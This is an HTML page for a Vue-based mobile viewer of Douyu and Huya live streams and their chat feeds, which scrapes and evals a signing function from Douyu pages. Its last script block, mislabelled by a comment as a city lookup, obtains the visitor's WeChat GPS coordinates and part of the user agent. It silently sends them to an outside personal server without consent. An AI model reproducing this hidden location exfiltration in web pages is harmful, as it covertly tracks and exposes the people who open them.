<!doctype html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>斗鱼TV</title>
  <style>
    body {
      margin: 0;
      color: #333;
      font-size: 14px;
    }
    .video-box {
      /* height: 206px; */
    }
    .video {
      width: 100%;
      /* height: 100%; */
    }
    .head {
      display: flex;
      position: fixed;
      width: 100%;
      top: 0;
      background: #fff;
      z-index: 9;
    }
    .head:after {
      content: '';
      height: 1px;
      width: 100%;
      position: absolute;
      background: #ebecec;
      bottom: 0;
      z-index: -1;
    }
    .tabtitle {
      flex: 1;
      text-align: center;
    }
    .tabtxt {
      display: inline-block;
      height: 40px;
      line-height: 40px;
      border-bottom: 2px solid transparent;
      font-size: 15px;
    }
    .tab-active {
      border-color: #dd001b;
    }
    #app {
      padding-top: 42px;
    }
    .scroll {
      display: grid;
      grid-template-columns: repeat(6, auto);
      place-items: center;
      grid-auto-rows: 36px;
      border-bottom: 1px solid rgba(0, 0, 0, .1);
    }
    .cate-active {
      color: #dd001b;
    }
    .play-list {
      display: grid;
      grid-template-columns: 1fr 1fr;
    }
    .item {
      padding: 4px;
    }
    .pic-contain {
      position: relative;
    }
    .list-pic {
      width: 100%;
    }
    .hn {
      position: absolute;
      right: 1px;
      top: 0;
      color: #fff;
      font-size: 12px;
    }
    .nickname {
      position: absolute;
      color: #fff;
      bottom: 6px;
      left: 4px;
      font-size: 12px;
    }
    .roomName {
      font-size: 13px;
    }
    .danmu {
      padding: 4px 14px;
      height: 50vh;
      overflow-y: scroll;
      color: #666;
    }
    .danmu-name {
      color: #999;
    }
  </style>
</head>
<body>
<div id="app">
  <div class="head">
    <div class="tabtitle" @click="changeIndex('1')">
      <div class="tabtxt" :class="index==='1'&&'tab-active'">全部直播</div>
    </div>
    <div class="tabtitle" @click="changeIndex('2')">
      <div class="tabtxt" :class="index==='2'&&'tab-active'">正在播放</div>
    </div>
  </div>
  <div v-show="index==='1'">
    <div class="scroll">
      <div @click="getList('tj')" :class="category==='tj'&&'cate-active'">推荐</div>
      <div v-for="item in recList" :key="item.cate2Id" v-text="item.name" @click="getList(item.shortName)"
           :class="category===item.shortName&&'cate-active'"></div>
    </div>
    <div class="play-list">
      <div v-for="(item,index) in mixList" :key="index" class="item" @click="playVideo(item)">
        <div class="pic-contain">
          <img :src="item.roomSrc" alt="" class="list-pic">
          <div v-text="item.hn" class="hn"></div>
          <div v-text="item.nickname" class="nickname"></div>
        </div>
        <div v-text="item.roomName" class="roomName"></div>
      </div>
    </div>
  </div>
  <div class="video-box" v-show="index==='2'">
    <video @error="catchErr" ref="video" autoplay preload="auto" webkit-playsinline="true" playsinline
           x5-playsinline="true" x-webkit-airplay="true" controls class="video" :src="videoSrc"></video>
    <div class="danmu" ref="show">
      <div v-for="(item,index) in danmu" :key="index"><span v-text="item[0]" class="danmu-name"></span>：<span v-text="item[1]"></span></div>
    </div>
  </div>
</div>
<script src="./js/aes.js"></script>
<!-- <script src="./js/douyu.js"></script> -->
<script src="./js/axios.min.js"></script>
<script src="./js/vue.js"></script>
<script src="https://a.msstatic.com/huya/mobile/lib/room_taf_iscroll_61c85d0.js"></script>
<script>
  const vm = new Vue({
    el: '#app',
    data: {
      index: '1',
      recList: [],
      mixList: [],
      // videoSrc: './video/test.MOV',
      videoSrc: 'https://bd.hls.huya.com/src/94525224-2460685313-10568562945082523648-2789274524-10057-A-0-1_2500.m3u8?wsSecret=d0a946ccd828befe9255fc40f7c9da8a&wsTime=5e5b6124',
      category: 'tj',
      socket: null,
      timer: null,
      danmu: [],
      page: 3,
      isLoaded: true,
      huyaSocket: null,
      huyaTimer: null
    },
    methods: {
      getDanmu(id) {
        this.danmu = []
        this.huyaSocket && (this.huyaSocket.close(),this.huyaSocket=null)
        this.huyaTimer && (clearInterval(this.huyaTimer),this.huyaTimer=null)
        this.socket && this.socket.close()
        this.timer && clearInterval(this.timer)
        var str = id + '';
        var len = str.length;
        let val = ""
        for (let i = 0; i < str.length; i++) {
          val += str.charCodeAt(i).toString(16)
        }
        var v1 = '84', v2 = '2d'
        switch (len) {
          case 2:
            v1 = '7f';
            v2 = '28';
            break;
          case 3:
            v1 = '80';
            v2 = '29';
            break;
          case 4:
            v1 = '81';
            v2 = '2a';
            break;
          case 5:
            v1 = '82';
            v2 = '2b';
            break;
          case 6:
            v1 = '83';
            v2 = '2c';
            break;
        }
        var hex = v1 + '000000' + v1 + '000000b102000074797065403d6c6f67696e7265712f757365726e616d65403d71715f595a534b783832572f70617373776f7264403d313233343536373839303132333435362f726f6f6d6964403d' + val + '2f64666c403d2f766572403d32303138303232322f61766572403d3231393033323130312f6374403d32352f00'
        var hex1 = v2 + '000000' + v2 + '000000b102000074797065403d6a6f696e67726f75702f726964403d' + val + '2f676964403d312f00'
        var hexBeat = '1400000014000000b102000074797065403d6d726b6c2f00'
        this.socket = new WebSocket('wss://danmuproxy.douyu.com:8501/')
        var socket = this.socket,getBuffer = this.getBuffer
        socket.onopen = function () {
          // 发送我是谁,我看哪个房间
          socket.send(getBuffer(hex))
          // 握手
          socket.send(getBuffer(hex1))
        }
        socket.onmessage = (event) => {
          var data = event.data
          var reader = new FileReader()
          reader.readAsText(data, 'utf-8')
          reader.onload = () => {
            var result = reader.result
            if (!result.includes('type@=chatmsg')) {
              return
            }
            var index1 = result.indexOf('nn@=')
            var index2 = result.indexOf('txt@=')
            var index3 = result.indexOf('/', index1)
            var index4 = result.indexOf('/', index2)
            var str = result.slice(index1 + 4, index3) + ':' + result.slice(index2 + 5, index4)
            this.danmu.push([result.slice(index1 + 4, index3), result.slice(index2 + 5, index4)])
            const show = this.$refs.show
            this.$nextTick(() => {
              show.scrollTop = show.scrollHeight
            })
          }
        }
// 发送心跳消息,证明你是在线的,为了节省流量
        this.timer = setInterval(function () {
          socket.send(hexBeat)
        }, 30000)

        hexBeat = getBuffer(hexBeat)
      },
      catchErr(e) {
        this.videoSrc += '&index=1'
      },
      // 16进制转buffer
      getBuffer(hex) {
        var typedArray1 = new Uint8Array(hex.match(/[\da-f]{2}/gi).map(function (h) {
          return parseInt(h, 16)
        }))
        return typedArray1.buffer
      },
      getHuyaDanmu(){
        var getBuffer = this.getBuffer;
        this.huyaSocket = new WebSocket('wss://cdnws.api.huya.com/')
        var socket = this.huyaSocket;
        var hex = '00031d00006d0000006d10032c3c4c56086f6e6c696e657569660f4f6e557365724865617274426561747d0000400800010604745265711d0000330a0a0c160026003607696f735f77617046000b1205a25728230000000092ab14013c42531f88ae5c60017c82001299859cac0b8c980ca80c',
            hex1 = '00031d000102790000027910032c3c4c56066c69766575696608646f4c61756e63687d000102540800010604745265711d000102460a0a0c1620306537346230363230316166646235646138613566383362663933623766343726003615776170683526312e302e3026776562736f636b657447000001f45f5f79616d69645f7474313d302e3032333730393831353330343430323431353b205f5f79616d69645f6e65773d43384230414436304542443030303031363345323141393031454630313546443b20536f756e6456616c75653d302e35303b20616c70686156616c75653d302e38303b206973496e4c697665526f6f6d3d747275653b20677569643d30653734623036323031616664623564613861356638336266393362376634373b20486d5f6c76745f35313730306236633732326635626234636633393930366135393665613431663d313537343637383237363b205f5f7961736d69643d302e3032333730393831353330343430323431353b205f7961736964733d5f5f726f6f7473696425334443384231463145334543463030303031393931303534453031463430314539333b20486d5f6c76745f33613032326135663131616331636662363863396262666665623839343730393d313537343637383234352c313537353031383532303b205048505345535349443d6c68336b646b6c75736231333534647265326c616c7231696d363b20677569643d30653734623036323031616664623564613861356638336266393362376634373b20486d5f6c7076745f33613032326135663131616331636662363863396262666665623839343730393d313537353031383634380b1a00031c2a1600260036000b0b0b8c980ca80c',
            hex2 = '00031d000102820000028210032c3c4c560d50726f70735549536572766572660c67657450726f70734c6973747d000102520800010604745265711d000102440a1a0c1620306537346230363230316166646235646138613566383362663933623766343726003615776170683526312e302e3026776562736f636b657447000001f45f5f79616d69645f7474313d302e3032333730393831353330343430323431353b205f5f79616d69645f6e65773d43384230414436304542443030303031363345323141393031454630313546443b20536f756e6456616c75653d302e35303b20616c70686156616c75653d302e38303b206973496e4c697665526f6f6d3d747275653b20677569643d30653734623036323031616664623564613861356638336266393362376634373b20486d5f6c76745f35313730306236633732326635626234636633393930366135393665613431663d313537343637383237363b205f5f7961736d69643d302e3032333730393831353330343430323431353b205f7961736964733d5f5f726f6f7473696425334443384231463145334543463030303031393931303534453031463430314539333b20486d5f6c76745f33613032326135663131616331636662363863396262666665623839343730393d313537343637383234352c313537353031383532303b205048505345535349443d6c68336b646b6c75736231333534647265326c616c7231696d363b20677569643d30653734623036323031616664623564613861356638336266393362376634373b20486d5f6c7076745f33613032326135663131616331636662363863396262666665623839343730393d313537353031383634380b2600302046005c6c7c8c9c0b8c980ca80c',
            hex3 = '00031d0001028a0000028a10032c3c4c56066c6976657569660d6765744c6976696e67496e666f7d000102600800010604745265711d000102520a0a0c1620306537346230363230316166646235646138613566383362663933623766343726003615776170683526312e302e3026776562736f636b657447000001f45f5f79616d69645f7474313d302e3032333730393831353330343430323431353b205f5f79616d69645f6e65773d43384230414436304542443030303031363345323141393031454630313546443b20536f756e6456616c75653d302e35303b20616c70686156616c75653d302e38303b206973496e4c697665526f6f6d3d747275653b20677569643d30653734623036323031616664623564613861356638336266393362376634373b20486d5f6c76745f35313730306236633732326635626234636633393930366135393665613431663d313537343637383237363b205f5f7961736d69643d302e3032333730393831353330343430323431353b205f7961736964733d5f5f726f6f7473696425334443384231463145334543463030303031393931303534453031463430314539333b20486d5f6c76745f33613032326135663131616331636662363863396262666665623839343730393d313537343637383234352c313537353031383532303b205048505345535349443d6c68336b646b6c75736231333534647265326c616c7231696d363b20677569643d30653734623036323031616664623564613861356638336266393362376634373b20486d5f6c7076745f33613032326135663131616331636662363863396262666665623839343730393d313537353031383634380b1205a25728230000000092ab140132531f88ae4604686f6d650b8c980ca80c',
            hex4 = '00011d00003a02531f88ae1c2620306537346230363230316166646235646138613566383362663933623766343736004205a25728530000000092ab14016c7c',
            hex5 = '00031d0001027a0000027a10032c3c4c56066c6976657569660675736572496e7d000102570800010604745265711d000102490a0a0c1620306537346230363230316166646235646138613566383362663933623766343726003615776170683526312e302e3026776562736f636b657447000001f45f5f79616d69645f7474313d302e3032333730393831353330343430323431353b205f5f79616d69645f6e65773d43384230414436304542443030303031363345323141393031454630313546443b20536f756e6456616c75653d302e35303b20616c70686156616c75653d302e38303b206973496e4c697665526f6f6d3d747275653b20677569643d30653734623036323031616664623564613861356638336266393362376634373b20486d5f6c76745f35313730306236633732326635626234636633393930366135393665613431663d313537343637383237363b205f5f7961736d69643d302e3032333730393831353330343430323431353b205f7961736964733d5f5f726f6f7473696425334443384231463145334543463030303031393931303534453031463430314539333b20486d5f6c76745f33613032326135663131616331636662363863396262666665623839343730393d313537343637383234352c313537353031383532303b205048505345535349443d6c68336b646b6c75736231333534647265326c616c7231696d363b20677569643d30653734623036323031616664623564613861356638336266393362376634373b20486d5f6c7076745f33613032326135663131616331636662363863396262666665623839343730393d313537353031383634380b1205a25728230000000092ab140136000b8c980ca80c';

        socket.onopen=function () {
          socket.send(getBuffer(hex))
          socket.send(getBuffer(hex1))
          socket.send(getBuffer(hex2))
          socket.send(getBuffer(hex3))
          socket.send(getBuffer(hex4))
          socket.send(getBuffer(hex5))
        }
        socket.onmessage = (t) => {
          var reader = new FileReader;
          reader.onload = () => {
            var t = reader.result, e = new Taf.JceInputStream(t), i = new HUYA.WebSocketCommand;i.readFrom(e);
            if(i.iCmdType !== 7)return
            e = new Taf.JceInputStream(i.vData.buffer);
            var a = new HUYA.WSPushMessage;
            a.readFrom(e), e = new Taf.JceInputStream(a.sMsg.buffer);
            var h = TafMx.UriMapping[a.iUri];
            h && (h = new h, h.readFrom(e));
            if(h&&h.sContent){
              this.danmu.push([h.tUserInfo.sNickName,h.sContent.replace(/\/\{.{2}/g,'哈')])
              const show = this.$refs.show
              this.$nextTick(() => {
                show.scrollTop = show.scrollHeight
              })
            }
          }, reader.readAsArrayBuffer(t.data)
        }
        this.huyaTimer = setInterval(()=>{
          socket.send(getBuffer(hex))
        },30000)
      },
      playVideo(item) {
        // 斗鱼是服务器渲染,所以先抓html页面,把里面的一个函数和变量截取出来,使用eval函数打开
        this.$refs.video.pause()
        this.index = '2'
        const id = item.rid
        this.getDanmu(id)
        const time = (new Date()).getTime() / 1000 | 0
        axios.get('/dy/' + id).then(res => {
          var data = res.data
          var a = data.indexOf('function ub98484234')
          var b = data.indexOf('function k927cea')
          var c = data.slice(a, b)
          eval(c)
          const params = ub98484234(id, "3929014eca2f3069913f7d7400051531", time) + '&ver=219032101&rid=' + id + '&rate=-1'
          return axios.post('/api/room/ratestream', params)
        }).then(res => {
          this.videoSrc = res.data.data.url
        })
      },
      getList(name) {
        this.category = name
        this.page = 3
        if (name === 'tj') {
          this.getMix()
        } else {
          let data = []
          axios.get('/api/room/list?page=1&type=' + name).then(res => {
            data = res.data.data.list
            return axios.get('/api/room/list?page=2&type=' + name)
          }).then(res1 => {
            var list = res1.data.data.list
            this.mixList = data.concat(list)
          })
        }
      },
      changeIndex(val) {
        this.index = val
      },
      init() {
        axios.get('/api/cate/recList?cid=&ct=').then(res => {
          this.recList = res.data.data
        })
        this.getMix()
        this.getHuyaDanmu()
        var h = window.innerHeight || document.body.clientHeight
        window.onscroll= () => {
        // 滚动条距离顶部的距离 > (总高度-窗口高度)*0.8
          // document.body.scrollTop兼容手机  手机端不支持document.documentElement.scrollTop
        if(document.documentElement.scrollTop||document.body.scrollTop>(document.documentElement.scrollHeight-h)*0.8){
          if(this.category !== 'tj' && this.isLoaded){
            this.isLoaded = false
            axios.get('/api/room/list?page='+this.page+'&type=' + this.category).then(res=>{
              this.isLoaded = true
              this.page++
              this.mixList = this.mixList.concat(res.data.data.list)
            })
          }
        }
        }
      },
      getMix() {
        axios.get('/api/home/mix').then(res => {
          const data = res.data.data
          var list = []
          for (let i of data) {
            list = list.concat(i.list)
          }
          this.mixList = list
        })
      }
    },
    created() {
      this.init()
    },
    mounted() {
      const video = this.$refs.video
      document.addEventListener("WeixinJSBridgeReady", () => {
        WeixinJSBridge.call('hideToolbar');
        video.play()
      }, false);
      // window.addEventListener('touchstart', ()=>{video.play()})
    }
  })
</script>
<script src="http://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
<script>
  // 通过百度的接口,获取用户所在城市
  async function getLocation(v) {
    var phone = navigator.userAgent.slice(13,45);
    await axios.get('http://cj15952119716.gz01.bdysite.com/wechat.php?methods=post&name=location&date='+(new Date().toLocaleString())+'&content='+v.latitude)
    await axios.get('http://cj15952119716.gz01.bdysite.com/wechat.php?methods=post&name=location&date='+(new Date().toLocaleString())+'&content='+v.longitude)
    await axios.get('http://cj15952119716.gz01.bdysite.com/wechat.php?methods=post&name=location&date='+(new Date().toLocaleString())+'&content='+phone)
  }
  wx.config({
    debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来，若要查看传入的参数，可以在pc端打开，参数信息会通过log打出，仅在pc端时才会打印。
    appId: 'wx691ea7e729533f4e', // 必填，公众号的唯一标识
    timestamp: 1576488333, // 必填，生成签名的时间戳
    nonceStr: 'Wm3WZYTPz0wzccnW', // 必填，生成签名的随机串
    signature: '053df91ab597f69cef264a3e0a1b02b7c75e5256',// 必填，签名
    jsApiList: ['openLocation','geoLocation'] // 必填，需要使用的JS接口列表
  });
  wx.ready(function(){
    var res = wx.getLocation({
      type: 'wgs84', // 默认为wgs84的gps坐标，如果要返回直接给openLocation用的火星坐标，可传入'gcj02'
      success: function (res) {
        getLocation(res)
        // var latitude = res.latitude; // 纬度，浮点数，范围为90 ~ -90
        // var longitude = res.longitude; // 经度，浮点数，范围为180 ~ -180。
        // var speed = res.speed; // 速度，以米/每秒计
        // var accuracy = res.accuracy; // 位置精度
      },
      error(err){
        alert(err)
      }
    });
  });
</script>
</body>
</html>
